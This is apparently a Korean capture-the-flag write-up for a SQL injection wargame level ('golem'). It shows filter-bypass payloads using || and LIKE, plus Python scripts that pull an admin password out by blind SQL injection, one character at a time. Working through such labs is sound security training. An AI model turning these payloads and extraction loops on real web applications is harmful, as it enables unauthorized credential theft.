728x90
문제 접근
1. 연산자 필터링 되어 있음
or 연산자 대신 || 사용, = 연산자 대신 like 함수 사용
2. blind SQL Injection으로 admi의 pw를 구해야 함
2.1 admin pw 길이 구하기
select id from prob_golem where id='guest' and pw=''||id like 'admin' %26%26 length(pw) like '8'
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?'
cookies = {"PHPSESSID":"r1g9lcvjgj13dag8l5migjcus0"}
for i in range(100):
params = "pw='|| id like 'admin' %26%26 length(pw) like '"+str(i)
response = requests.get(url, params=params, cookies=cookies)
if 'Hello admin' in response.text:
print("pw 길이는 ", i)
break
2.2 admin의 pw 구하기
select id from prob_golem where id='guest' and pw=''|| id like 'admin' %26%26 mid(pw,1,1) like '7'
substr함수 대신에 mid 함수를 사용함
import requests
import string
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?'
cookies = {"PHPSESSID":"r1g9lcvjgj13dag8l5migjcus0"}
string = string.ascii_letters + string.digits
ch = ''
for i in range(1,9):
print("pw {} 번째 길이 ".format(i))
for j in string:
params ="pw='|| id like 'admin' %26%26 mid(pw,"+str(i)+",1) like '"+str(j)
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
ch += j
print(ch)
break
2.3 PW 입력